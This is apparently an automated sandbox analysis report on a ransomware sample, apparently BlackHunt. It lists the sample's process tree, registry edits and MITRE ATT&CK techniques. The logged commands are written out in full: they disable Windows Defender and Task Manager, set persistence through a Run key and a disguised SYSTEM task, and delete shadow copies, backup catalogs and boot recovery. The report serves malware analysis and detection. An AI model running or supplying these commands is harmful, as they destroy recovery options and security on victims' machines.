PID 2144 wrote to memory of 4556	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	144
PID 2144 wrote to memory of 4556	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	144
PID 2144 wrote to memory of 2896	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	151
PID 2144 wrote to memory of 2896	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	151

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
"C:\Users\Admin\AppData\Local\Temp\43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:32
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:5072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe" /F
  2⤵
  PID:4044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1140
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1320
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3996
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3492
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1312
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4932
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2492
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:6056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1188
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2044
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  - Modifies registry class
  PID:1536
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6048

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5876

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3748

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3516

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery